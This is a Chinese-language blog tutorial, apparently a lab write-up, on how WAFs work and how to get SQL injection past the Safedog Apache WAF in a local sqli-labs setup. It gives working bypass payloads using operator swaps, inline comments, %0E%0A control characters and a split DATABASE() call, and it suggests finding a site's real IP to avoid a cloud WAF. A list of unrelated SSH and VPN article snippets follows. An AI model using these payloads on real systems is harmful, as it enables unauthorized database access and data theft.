sql注入绕过WAF小tips

article/2025/9/15 21:30:00

目录

一. WAF分类

二. WAF工作原理

三. 攻击环境搭建

四. WAF绕过姿势

运算符绕过and、or限制

内联注释绕过order by

添加控制字符绕过union select

函数拆分获取数据库名


在实际的渗透测试过程中,经常会碰到网站存在WAF的情况。网站存在WAF,意味着我们不能使用安全工具对网站进行测试,因为一旦触碰了WAF的规则,轻则丢弃报文,重则拉黑IP。所以,我们需要手动进行WAF的绕过,而绕过WAF前肯定需要对WAF 的工作原理有一定的理解。

一. WAF分类

首先,WAF分为非嵌入型WAF和嵌入型WAF,非嵌入型指的是硬WAF、云WAF、虚拟机WAF之类的;嵌入型指的是web容器模块类型WAF、代码层WAF。非嵌入型对WEB流量的解析完全是靠自身的,而嵌入型的WAF拿到的WEB数据是已经被解析加工好的。所以非嵌入型的受攻击机面还涉及到其他层面,而嵌入型从web容器模块类型WAF、代码层WAF往下走,其对抗畸形报文、扫操作绕过的能力越来越强,当然,在部署维护成本方面,也是越高的。

再补充一下关于云waf,它的主要实现方式是利用DNS技术,通过移交域名解析权来实现安全防护。用户的请求首先发送到云端节点进行检测,如存在异常请求则进行拦截否则将请求转发至真实服务器。云Waf在提供防护功能的同时,还同时具有CDN的功能,CDN通过跨运营商的多线智能解析调度将静态资源动态负载到全国的云节点,用户访问某个资源时会被引导至最近的云端节点从而提高访问速度。目前有很多的企业都提供云waf产品,比如阿里云waf、腾讯云waf、华为云waf等等,价格不一,普遍来说一年也要几万或者十几万,相比于硬件waf要便宜很多。云waf是未来发展的一大趋势,相比于硬件和软件waf安装更简单,更新也有云端负责,更便捷,将会是中小企业、政府、金融、教育等网站的防护保障。

这里有一个重点是CDN,云waf也充当着cdn,即当我们访问某个域名的时候,域名将ip地址解析成云waf的ip,经过waf的审核再将数据转发给服务器。如果企业使用了云waf,那么寻找到网站的真实ip就显得非常重要,只要找到了真实的ip那么我们就可以绕过云waf直接请求目标服务器,大大减少了渗透的阻碍。关于CDN,传送门 -》关于CDN以及如何绕过CDN寻找真实ip

二. WAF工作原理

WAF(Web Application Firewall) 可以用来屏蔽常见的网站漏洞攻击,如SQL注入,XML注入、XSS等。WAF针对的是应用层而非网络层的入侵,从技术角度应该称之为Web IPS。WAF的主要难点是对入侵的检测能力,尤其是对Web服务入侵的检测,WAF最大的挑战是识别率。对于已知的攻击方式,可以谈识别率,但是对于未知的攻击手段,WAF是检测不到的。

目前市面上大多数的WAF都是基于规则的WAF。即WAF对接数据收到的包进行正则匹配过滤,如果正则匹配到与现有漏洞知识库的攻击代码相同,则认为这个恶意代码,从而对于进行阻断。所以,对于基于规则匹配的WAF,需要每天都及时更新最新的漏洞库。

对于这种WAF,它的工作过程是这样的:解析HTTP请求——>匹配规则——>防御动作——>记录日志 

具体实现如下:

  • 解析http请求:协议解析模块
  • 匹配规则:规则检测模块,匹配规则库。大多基于正则的匹配
  • 防御动作:return 403 或者跳转到自定义界面,或者不返回任何数据,或者拉黑IP
  • 日志记录:记录到elk中

三. 攻击环境搭建

基础环境介绍

  • 操作系统:win2008 64位
  • phpstudy2016,apache2.4.23(一定要使用2016的版本,比如2018的则不会生成服务,手动添加的也不行)
  • 安全狗Apache版

1. 安装安全狗apache 版本

下载地址:http://free.safedog.cn/

2. 将phpstudy运行模式改为系统服务

这里的服务名就是apache进程服务的名字,phpstudy等软件搭建的环境需要设置运行模式为“系统服务”后才能看到服务名。如下要点击应用,一定要点击应用!

phpstudy中的系统服务和非服务模式有什么区别:

  • 系统服务:表示开机后apache和mysql会以系统服务的形式自动生效。此时我们不再需要打开phpstudy就能直接访问web服务
  • 非服务模式:每次系统重启都需要打开phpstudy才可以生效。

这样我们就能在服务中看到服务名了

2. 安装安全狗

如下,程序会自动填写下面的。如果上面没有弄好服务,下面的服务名就会填不上,如果没有填写服务名,则安全狗不生效。然后直接点击确定就好了

到这里就安装好了。我们以sqli-labs来测试一下,输入带有攻击的语句,是不是很nice~。这简直是渗透测试人员成功路上的绊脚石啊~ 接下来就来学习怎么绕过

四. WAF绕过姿势

WAF判断

那么,如何判断一个网站是否存在WAF呢?可以手动也可以使用sqlmap进行测试。手动的话就像上面的输入一些明显带攻击行为的语句,查看服务器的响应,是否将我们请求中断了。或者也可以使用sqlmap进行探测,之前可以使用参数--identify-waf进行waf判断,现在这个参数遗弃了,使用sqlmap的时候会自动进行探测是否有waf

在学习绕过之前,我们先开启所有的防护规则,唉 就算是玩~

运算符绕过and、or限制

如下,我们一输入这种and和or的语句就被拦截

这里and和or可以用 &&和||进行代替,1=1用-1=-1代替,and不行就换or,一个个试。没有被拦截

?id=2' || -1=-1 --+

然后换成 -1=-2数据变化了,所以判断这里存在注入

内联注释绕过order by

mysql中:

  • 单行注释可以使用#注释符,#注释符后直接加注释内容
  • 多行注释使用/* */注释符。/*用于注释内容的开头,*/用于注释内容的结尾

正常注入:

http://192.168.43.87/2_Shotting_Range/sql/Less-1/?id=2' order by 3 --+         拦截

使用/*/注释干扰waf机制,用+连接 payload: 'order/*//*/+by

http://192.168.43.87/2_Shotting_Range/sql/Less-1/?id=2%27%20order/*//*/+by%204%20--+     不拦截

添加控制字符绕过union select

这一关还是挺有难度的,试了一会

http://192.168.43.87/2_Shotting_Range/sql/Less-1/?id=2' union xxx --+    不拦截

http://192.168.43.87/2_Shotting_Range/sql/Less-1/?id=2' union select --+ 拦截

我们可以添加一些ASCII控制字符如换行符和回车符来干扰WAF,然后结合着内联注释进行绕过

--  (注释符)
%0e (删除本身)
%0a (换行)

payload为:

?id=-2' union--%0E%0A/*//*/+select 1,2,3 --+

函数拆分获取数据库名

获取当前数据库名

方法还是上面的,大家可以开大脑洞进行组合,就是使用内联注释加插入控制字符进行注入

?id=-2' union--%0E%0A/*//*/+select 1,2,/*!DATABASE()*/ --+         拦截
?id=-2' union--%0E%0A/*//*/+select 1,2,/*!DATABASE*/ --+           不拦截所以这里想要绕过,就得将database和()进行拆开,我们可以加入控制字符
?id=-2' union--%0E%0A/*//*/+select 1,2,/*!dATABASE--%0E%0A/*//*/+()*/ --+    不拦截

其实方法很多,需要多尝试

未完~~


http://chatgpt.dhexx.cn/article/rXqG9Lmy.shtml

相关文章

WAF简介

今天继续给大家介绍渗透测试相关知识,本文主要内容是WAF简介。 免责声明: 本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负! 再次强调:严禁对未授权设备进行渗透…

细说——WAF

目录 WAF是什么主流WAF有哪些?WAF的分类软件型WAF硬件型WAF基于云WAF开源型WAF网站内置的WAF IPS与IDS,防火墙与WAF之间的比较和差异防火墙功能IPS入侵防御系统IDS入侵检测系统WAF对比IPS与IDS防火墙与IPS / IDSWAF与IPS / IDS WAF检测手工检测工具检测W…

WAF基本原理与部署方式

WAF介绍 WAF是什么? WAF的全称是(Web Application Firewall)即Web应用防火墙,简称WAF。 国际上公认的一种说法是:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。 WAF…

Windows安装SSH

文章目录 1.微软官网安装教程1.打开powershell2.查看是否安装OpenSSH3.安装ssh客户端4.安装ssh服务端5.启动并配置 OpenSSH 服务器 2.自己安装配置1.下载安装包2.解压3.配置环境变量4.服务安装5.开放端口6.配置开机自启sshd服务7.启动ssh服务端8.测试ssh连接 1.微软官网安装教程…

Linux修改ssh端口

记录:340 场景:在CentOS 7.9操作系统上,修改默认的ssh端口。ssh默认22端口,在实际开展业务中的生产环境中,通常会修改为指定端口号,以满足规范。 版本: 操作系统:CentOS 7.9 1.修…

SSH 基础用法

1.查看网络环境是否通畅 修改主机名称:hostnamectl set-hostname xxxx 查看网络信息:ifconfig 或者用 ip a show xxxx(网卡配置文件名称) 测试网络连接 :ping xxx.xxx.xxx.xxx 输入对应的ip地址 2.使用方式 连接方式: ssh ro…

SSH介绍以及使用

什么是ssh? SSH 为 Secure Shell 的缩写,由 IETF 的网络小组(Network Working Group)所制定;SSH 为建立在应用层基础上的安全协议。SSH 是目前较可靠,专为远程登录会话和其他网络服务提供安全性的协议。利用…

SSH详细使用教程

SSH简介 SSH是一种网络协议,用于计算机之间的加密登录。 适用条件 客户端防火墙禁止80端口的出站流量,无法上网。ssh通过tcp 22端口传输数据,实现上网功能。 SSH常用命令 -C 对传输数据进行压缩,减小…

SSH 公钥私钥

一、简介 一、SSH key简介 要了解SSH key简介,首先得熟悉SSH,SSH 密钥对可以让您方便的登录到 SSH 服务器,而无需输入密码。SSH 密钥对总是成双出现的,一把公钥,一把私钥。公钥可以自由的放在您所需要连接的 SSH 服务…

最全SSH命令 - 11种用法

SSH命令 1.使用ssh连接远程主机2.ssh连接到其他端口3.使用ssh在远程主机执行一条命令并显示到本地, 然后继续本地工作4.在远程主机运行一个图形界面的程序5.如何配置 SSH6.构建 ssh 密钥对7.查看是否已经添加了对应主机的密钥8.删除主机密钥9.绑定源地址10.对所有数据请求压缩1…

什么是SSH

一、什么是远程连接服务器 1、远程连接服务器通过文字或图形接口方式来远程登录系统,让你在远程终端前登录linux主机以取得可操作主机接口(shell),而登录后的操作感觉就像是坐在系统前面一样。 2、远程连接服务器的功能 1&…

Ubuntu 怎么开启SSH

这里使用虚拟机演示,ubuntu版本 22.10 1、安装ubuntu时启用SSH 在安装ubuntu时会提示是否需要安装 OpenSSH server 如果在这里勾选安装后,则不需要在使用命令进行安装 OpenSSH server 2、使用命令安装启用 SSH 01、切换 root 用户,如果未设…

SSH是什么??

首先,SSH是strutsspringhibernate的一个集成框架,它不是一个框架,而是把多个框架紧密的结合在一起,用于构建灵活的多层Web应用程序。然后详细说一下组成SSH的这三个框架: Struts 1.什么是Struts?&#xff…

linux之ssh命令详解

ssh是什么呢?👉百科上是这么说的 随便插张图 简单来说,在linux中SSH是非常常用的工具,通过SSH客户端我们可以连接到运行了SSH服务器的远程机器上,也就是说,我们可以通过ssh来远程控制我们的电脑或者服务器…

什么是SSH 以及常见的ssh 功能

一、SSH SSH只是一种协议,存在多种实现,既有商业实现,也有开源实现。本文针对的实现是OpenSSH,它是自由软件,应用非常广泛。这里只讨论SSH在Linux Shell中的用法。如果要在Windows系统中使用SSH,会用到另一…

ssh服务介绍

阅读目录 1.1 SSH服务协议说明1.2 SSH加密技术说明1.3 ssh知识要点:1.4 SSH服务软件详细说明1.5 ssh服务配置文件说明:1.6 ssh服务认证类型1.7 基于秘钥登录配置1.8 telnet服务简介1.9 进行免密码scp传输测试1.10 使用sftp进行基于密钥的文件传输1.11 ss…

SSH 详解(实践及应用)

目录 1.SSH 基本知识 2.SSH 客户端 2.1 安装 2.2 基本用法 2.3 命令行配置项 2.4 配置文件 3 SSH 密钥 3.1 密钥生成 3.2 公钥上传 4 SSH 代理 4.1 动态转发 4.2 本地转发 4.3 远程转发 4.4 实际运用 5 SCP命令 5.1 本地复制到远程 5.2 远程复制到本地 5.3 两…

H3C双向NAT典型组网配置案例

组网说明: 本案例采用H3C HCL模拟器来模拟实现双向NAT的组网,由于模拟器和本物理机的局限性,因此采用模拟器的S5820交换机开启WEB功能模拟成为WEB服务器。在该网络拓扑图中,内网和外网已经有了明确的标识,某局点申请了…

基于华三HCL模拟器IPSec VPN组网与配置

一、实验原理 IPsec在互联网中提供端到端的数据报通信安全,通过加密和认证方式保护IP数据报及其封装的数据。IPsec是一个框架协议,包括AH、ESP、SA、IKE等协议。IPsec可以采用直接传输和隧道封装两种模式工作,在通过互联网承载的站点间VPN中…

华为IPSec VPN的配置

目录 概念 阶段一 阶段二 IPSec的配置实验 先进行基配置,保证路由可达 配置阶段一 配置ike提案 配置ike邻居 配置阶段二 定义感兴趣流 把ipsec策略应用到接口 结果测试 概念 IPSec是一个框架,它不是具体指某个协议,而是定义了一个框…